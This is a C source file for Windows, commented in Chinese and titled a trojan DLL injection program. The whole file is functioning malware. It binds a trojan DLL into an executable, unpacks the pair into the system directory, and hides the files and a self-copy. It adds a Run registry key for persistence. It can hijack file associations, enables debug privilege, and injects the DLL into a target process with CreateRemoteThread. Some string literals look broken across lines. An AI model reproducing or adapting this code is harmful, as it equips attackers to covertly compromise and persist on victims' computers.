/******************************************************
名称:木马DLL注入程序
功能:调用系统钩子将木马DLL注入宿主线程
作者:薛峰
日期:2004-6-22
说明:进程的隐藏,本程序使用大量API,请参考MSDN
******************************************************/
#include "stdafx.h"
#include <TLHELP32.H>
#include "..//Include//DataStruct.h"
//EXE文件名称
CHAR g_ExeName[51];
//木马DLL文件名
CHAR g_CockName[51];
//获取Exe文件名称*.exe
void GetModuleNameEx(LPTSTR buf)
{
CHAR path[MAX_PATH];
if (GetModuleFileName(::GetModuleHandle(NULL), path, MAX_PATH))
{
LPTSTR p = strrchr(path, 92);
strncpy(buf, &p[1], strlen(p + 1));
strncat(buf, "
", 1);
}
}
//病毒文件合并程序(API版) New!
DWORD UniteFileExA(LPCSTR lpProgFile, LPCSTR lpCockFile)
{
HANDLE hProg = NULL, hCock = NULL;
FILEDIS FileDis;
DWORD dwProg = 0, dwCock = 0, dwNumber = 0;
CHAR * cBufCock = NULL;
memset(&FileDis, 0, sizeof(FILEDIS));
//保存文件名
strncpy(FileDis.FileIdentifier, FILEIDENTIFIER, strlen(FILEIDENTIFIER));
strncpy(FileDis.ProgName, lpProgFile, strlen(lpProgFile));
strncpy(FileDis.CockDLLName, lpCockFile, strlen(lpCockFile));
//分解标识置0
FileDis.IsFileReduced = 0;
//打开文件,调用失败则返回
hProg = CreateFile(lpProgFile, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProg == INVALID_HANDLE_VALUE)
{
return 0;
}
hCock = CreateFile(lpCockFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hCock == INVALID_HANDLE_VALUE)
{
return 0;
}
//EXE文件大小
dwProg = GetFileSize(hProg, NULL);
//木马程序DLL文件大小
dwCock = GetFileSize(hCock, NULL);
//保存到文件头记录中
FileDis.ProgSize = dwProg;
FileDis.CockDLLSize = dwCock;
//为DLL文件申请数据缓冲区,读取数据用
cBufCock = new CHAR[dwCock + 1];
//文件指针移动到EXE文件末尾
if (SetFilePointer(hProg, 0, NULL, FILE_END) == 0xFFFFFFFF)
{
return 0;
}
//读取木马DLL文件体数据到缓冲区
if (!ReadFile(hCock, cBufCock, dwCock, &dwNumber, NULL))
{
return 0;
}
//写入木马程序DLL文件体
if (!WriteFile(hProg, cBufCock, dwCock, &dwNumber, NULL))
{
return 0;
}
//文件头数据写入合并文件的尾部
if (!WriteFile(hProg, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
{
return 0;
}
//关闭文件指针
CloseHandle(hProg);
CloseHandle(hCock);
//释放内存
delete[] cBufCock;
return 1;
}
//病毒文件分解程序(API版),同时能将自身拷贝到指定到目录下。 New!
DWORD ReduceFileExA(LPCSTR ProgName, LPCSTR DestFileDir)
{
HANDLE hProg = NULL, hProgDest = NULL, hCock = NULL, hTemp = NULL;
FILEDIS FileDis;
LONG lStruct = 0;
DWORD dwNumber = 0, dwUnite = 0;
CHAR * cBufProg = NULL, * cBufCock = NULL, * BufTemp = NULL;
CHAR ProgFilePath[MAX_PATH], CockFilePath[MAX_PATH], TempFilePath[MAX_PATH];
memset(&FileDis, 0, sizeof(FILEDIS));
//首先打开合并文件
hProg = CreateFile(ProgName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hProg == INVALID_HANDLE_VALUE)
{
return 0;
}
lStruct = sizeof(FILEDIS);
lStruct = -lStruct;
//文件指针从尾部向前移动
if (SetFilePointer(hProg, lStruct, NULL, FILE_END) == 0xFFFFFFFF)
{
return 0;
}
//读取文件头
if (!ReadFile(hProg, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
{
return 0;
}
//检查文件是否合法
if (strncmp(FileDis.FileIdentifier, FILEIDENTIFIER, strlen(FILEIDENTIFIER)) != 0)
{
return 0;
}
//分配内存,申请数据缓冲区
cBufProg = new CHAR[FileDis.ProgSize + 1];
cBufCock = new CHAR[FileDis.CockDLLSize + 1];
/************************************************************************************
// 创建目标文件路径
// INT iLen = strlen(DestFileDir);
// strncpy(ProgFilePath, DestFileDir, iLen);
// strncat(ProgFilePath, "//", 1);
// strncat(ProgFilePath, FileDis.ProgName, strlen(FileDis.ProgName));
// strncpy(HookFilePath, DestFileDir, iLen);
// strncat(HookFilePath, "//", 1);
// strncat(HookFilePath, FileDis.HookDLLName, strlen(FileDis.HookDLLName));
// strncpy(CockFilePath, DestFileDir, iLen);
// strncat(CockFilePath, "//", 1);
// strncat(CockFilePath, FileDis.CockDLLName, strlen(FileDis.CockDLLName));
*************************************************************************************/
strcpy(ProgFilePath, DestFileDir);
strcat(ProgFilePath, "//");
strcat(ProgFilePath, FileDis.ProgName);
strcpy(CockFilePath, DestFileDir);
strcat(CockFilePath, "//");
strcat(CockFilePath, FileDis.CockDLLName);
//创建并打开EXE文件
hProgDest = CreateFile(ProgFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hProgDest == INVALID_HANDLE_VALUE)
{
return 0;
}
//创建并打开木马DLL文件
hCock = CreateFile(CockFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hCock == INVALID_HANDLE_VALUE)
{
return 0;
}
//文件指针移动到开始
if (SetFilePointer(hProg, 0, NULL, FILE_BEGIN) == 0xFFFFFFFF)
{
return FALSE;
}
//读取合并文件中的EXE文件体数据
if (!ReadFile(hProg, cBufProg, FileDis.ProgSize, &dwNumber, NULL))
{
return 0;
}
//读取合并文件中的木马DLL文件体数据
if (!ReadFile(hProg, cBufCock, FileDis.CockDLLSize, &dwNumber, NULL))
{
return 0;
}
//将EXE数据写入新创建的EXE文件
if (!WriteFile(hProgDest, cBufProg, FileDis.ProgSize, &dwNumber, NULL))
{
return 0;
}
//文件头写入EXE尾部
FileDis.IsFileReduced = 1; //文件已分解
if (!WriteFile(hProgDest, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
{
return 0;
}
//将DLL数据写入新创建的DLL文件
if (!WriteFile(hCock, cBufCock, FileDis.CockDLLSize, &dwNumber, NULL))
{
return 0;
}
//拷贝自身代码
strncpy(TempFilePath, DestFileDir, strlen(DestFileDir));
strncat(TempFilePath, "//service", 8);
CreateDirectory(TempFilePath, NULL);
//隐藏文件夹
SetFileAttributes(TempFilePath, FILE_ATTRIBUTE_HIDDEN);
strncat(TempFilePath, "//", 1);
strncat(TempFilePath, ProgName, strlen(ProgName));
hTemp = CreateFile(TempFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hTemp != INVALID_HANDLE_VALUE)
{
dwUnite = GetFileSize(hProg, NULL);
BufTemp = new CHAR[dwUnite + 1];
SetFilePointer(hProg, 0, NULL, FILE_BEGIN);
ReadFile(hProg, BufTemp, dwUnite, &dwNumber, NULL);
WriteFile(hTemp, BufTemp, dwUnite, &dwNumber, NULL);
}
//关闭文件指针
CloseHandle(hProg);
CloseHandle(hProgDest);
CloseHandle(hCock);
CloseHandle(hTemp);
//释放内存
delete[] cBufProg;
delete[] cBufCock;
delete[] BufTemp;
//修改4个文件的属性为:隐藏、只读
SetFileAttributes(ProgFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY);
SetFileAttributes(CockFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY);
SetFileAttributes(TempFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY);
return 1;
}
/*
设置注册表,开机自动运行木马程序;调用成功返回1,失败返回0
RegKeyName:注册表中的键名;ExePath:木马程序的绝对路径
*/
BYTE SetProgAutoRun(LPCSTR RegKeyName, LPCSTR ExePath)
{
HKEY hKey = NULL;
DWORD dwDis = 0;
CHAR KeyName[51], buf[51];
LPTSTR p = NULL;
if (RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) != ERROR_SUCCESS)
{
return 0;
}
strncpy(buf, RegKeyName, strlen(RegKeyName));
p = strrchr(buf, 46);
strncpy(KeyName, buf, p - buf);
KeyName[(DWORD)(p - buf)] = '
';
if (RegSetValueEx(hKey, KeyName, 0, REG_SZ, (BYTE *)ExePath, strlen(ExePath)) !=
ERROR_SUCCESS)
{
RegCloseKey(hKey);
return 0;
}
RegCloseKey(hKey);
return 1;
}
//检查是否已经在注册表中设置了自动运行;返回1表示已经设置;0未设置;2打开键错误,无法查询
BYTE IsProgAutoRun(LPCSTR RegKeyName)
{
HKEY hKey = NULL;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
0, KEY_EXECUTE, &hKey) != ERROR_SUCCESS)
{
return 2;
}
if (RegQueryValueEx(hKey, RegKeyName, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
{
return 1;
}
else
{
return 0;
}
}
//修改文件关联的函数
void ModifyFileLink(LPCSTR lpLinkFile)
{
HKEY hKey = NULL;
DWORD dwDis = 0;
CHAR LinkFileTxt[MAX_PATH], LinkFileExe[MAX_PATH];
//修改TXT文件关联
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "TXTFILE//SHELL//OPEN//COMMAND", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
strncpy(LinkFileTxt, lpLinkFile, strlen(lpLinkFile));
strncat(LinkFileTxt, " %1", 3);
RegSetValueEx(hKey, NULL, 0, REG_EXPAND_SZ, (BYTE *)LinkFileTxt, strlen(LinkFileTxt));
RegCloseKey(hKey);
}
//修改EXE文件关联
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "EXEFILE//SHELL//OPEN//COMMAND", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
strncpy(LinkFileExe, lpLinkFile, strlen(lpLinkFile));
strncat(LinkFileExe, " """"%1"""" %*", 12);
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)LinkFileExe, strlen(LinkFileExe));
RegCloseKey(hKey);
}
//修改COM文间关联
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "COMFILE//SHELL//OPEN//COMMAND", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)LinkFileExe, strlen(LinkFileExe));
RegCloseKey(hKey);
}
}
//修改文件默认的图标,把图标资源保存到木马DLL中
void ModifyFileIcon(LPCSTR lpLinkFile)
{
HKEY hKey = NULL;
DWORD dwDis = 0;
CHAR LinkFileTxt[MAX_PATH], LinkFileExe[MAX_PATH];
//修改TXT文件图标
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "TXTFILE//DEFAULTICON", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
strncpy(LinkFileTxt, lpLinkFile, strlen(lpLinkFile));
strncat(LinkFileTxt, " %1", 3);
RegSetValueEx(hKey, NULL, 0, REG_EXPAND_SZ, (BYTE *)LinkFileTxt, strlen(LinkFileTxt));
RegCloseKey(hKey);
}
//修改EXE文件图标
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "EXEFILE//DEFAULTICON", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
strncpy(LinkFileExe, lpLinkFile, strlen(lpLinkFile));
strncat(LinkFileExe, " """"%1"""" %*", 12);
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)LinkFileExe, strlen(LinkFileExe));
RegCloseKey(hKey);
}
//修改COM文间图标
if (RegCreateKeyEx(HKEY_CLASSES_ROOT, "COMFILE//DEFAULTICON", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDis) == ERROR_SUCCESS)
{
RegSetValueEx(hKey, NULL, 0, REG_EXPAND_SZ, (BYTE *)LinkFileExe, strlen(LinkFileExe));
RegCloseKey(hKey);
}
}
//检查病毒文件是否已分解(API版)返回0:未分解,1:已分解,2:调用失败,3:文件不合法 New!
DWORD CheckFileExA(LPCSTR ProgName)
{
HANDLE hProg = NULL;
FILEDIS FileDis;
LONG lStruct = 0;
DWORD dwNumber = 0, bRet = FALSE;
memset(&FileDis, 0, sizeof(FILEDIS));
//首先打开合并文件
hProg = CreateFile(ProgName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hProg == INVALID_HANDLE_VALUE)
{
return 2;
}
lStruct = sizeof(FILEDIS);
lStruct = -lStruct;
//文件指针从尾部向前移动
if (SetFilePointer(hProg, lStruct, NULL, FILE_END) == 0xFFFFFFFF)
{
return 2;
}
//读取文件头
if (!ReadFile(hProg, &FileDis, sizeof(FILEDIS), &dwNumber, NULL))
{
return 2;
}
//检查文件是否合法
if (strncmp(FileDis.FileIdentifier, FILEIDENTIFIER, strlen(FILEIDENTIFIER)) == 0)
{
//保存木马DLL文件名
strncpy(g_CockName, FileDis.CockDLLName, strlen(FileDis.CockDLLName));
//检查文件是否已分解
if (FileDis.IsFileReduced)
{
bRet = 1;
}
else
{
bRet = 0;
}
}
else
{
//非法
bRet = 3;
}
CloseHandle(hProg);
return bRet;
}
//查找内存共享区,确定木马程序是否启动;Return 0:未启动,1:已启动,2:映射共享区失败
BYTE LookupSharedMem()
{
HANDLE hMapping = NULL;
LPSHAREDMEM lpSharedMem = NULL;
BYTE bRet = 0;
//查看指定的共享区是否已创建
hMapping = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, SHAREDMEMNAME);
if (hMapping)
{
//映射共享区指针
lpSharedMem = (LPSHAREDMEM)MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (lpSharedMem)
{
//木马程序未启动
if (!lpSharedMem->IsCockRun)
{
bRet = 0;
}
else
{
//木马已启动
bRet = 1;
}
}
else
{
CloseHandle(hMapping);
//映射共享区失败
return 2;
}
}
else
{
//无共享区,木马未启动
return 0;
}
UnmapViewOfFile(lpSharedMem);
//CloseHandle(hMapping);
return bRet;
}
//提升进程的权限
DWORD SetProcessPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
return 0;
}
else
{
tp.PrivilegeCount = 1;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
{
return 0;
}
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
{
return 0;
}
CloseHandle(hToken);
}
return 1;
}
//根据EXE文件名称获取宿主进程的ID
DWORD GetDestProcessID(LPCSTR lpcExeName)
{
HANDLE hProcessSnap = NULL;
DWORD dwProcessID = 0;
//如果lpcExeName不是NULL,则查找指定的进程ID
if (lpcExeName != NULL)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap > 0)
{
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe);
do
{
if (strcmp(pe.szExeFile, lpcExeName) == 0)
{
//找到ID
dwProcessID = pe.th32ProcessID;
break;
}
}
while (Process32Next(hProcessSnap, &pe));
CloseHandle(hProcessSnap);
}
}
return dwProcessID;
}
//利用远程线程将木马DLL注入宿主进程;调用成功返回1,否则返回0
DWORD RunVirusCodeEx(DWORD dwProcessID, LPCSTR lpCockFileName)
{
HANDLE hProcess = NULL, hThread = NULL;
DWORD dwLen = 0;
CHAR * pLibAddr = NULL;
HINSTANCE hins = NULL;
PTHREAD_START_ROUTINE psr = NULL;
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
FALSE, dwProcessID);
if (hProcess == NULL)
{
return 0;
}
dwLen = (strlen(lpCockFileName) + 1) * sizeof(CHAR);
pLibAddr = (CHAR *)VirtualAllocEx(hProcess, NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
if (pLibAddr == NULL)
{
return 0;
}
if (!WriteProcessMemory(hProcess, pLibAddr, (LPVOID)lpCockFileName, dwLen, NULL))
{
return 0;
}
hins = GetModuleHandle("Kernel32");
if (hins == NULL)
{
return 0;
}
psr = (PTHREAD_START_ROUTINE)GetProcAddress(hins, "LoadLibraryA");
if (psr == NULL)
{
return 0;
}
hThread = CreateRemoteThread(hProcess, NULL, 0, psr, pLibAddr, 0, NULL);
if (hThread == NULL)
{
return 0;
}
//WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
//初始化程序, New!
void InitializationEx()
{
DWORD dwProcessID = 0;
if (!LookupSharedMem())
{
CHAR buf[MAX_PATH];
DWORD bRet = 0;
GetModuleNameEx(g_ExeName);
GetSystemDirectory(buf, MAX_PATH);
bRet = CheckFileExA(g_ExeName);
if (bRet < 1)
{
ReduceFileExA(g_ExeName, buf);
}
else if (bRet > 1)
{
return;
}
strncat(buf, "//", 1);
strncat(buf, g_ExeName, strlen(g_ExeName));
if (IsProgAutoRun(g_ExeName) == 0)
{
//修改注册表
SetProgAutoRun(g_ExeName, buf);
}
//修改文件关联
//ModifyFileLink(buf);
//提升进程权限
SetProcessPrivilege();
//循环直到找到进程的ID
while (!dwProcessID)
{
dwProcessID = GetDestProcessID("MyControl.exe");
Sleep(1000);
}
//将木马DLL嵌入宿主进程,运行病毒程序
RunVirusCodeEx(dwProcessID, g_CockName);
}
}
//Windows程序入口
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
InitializationEx();
return 0;
}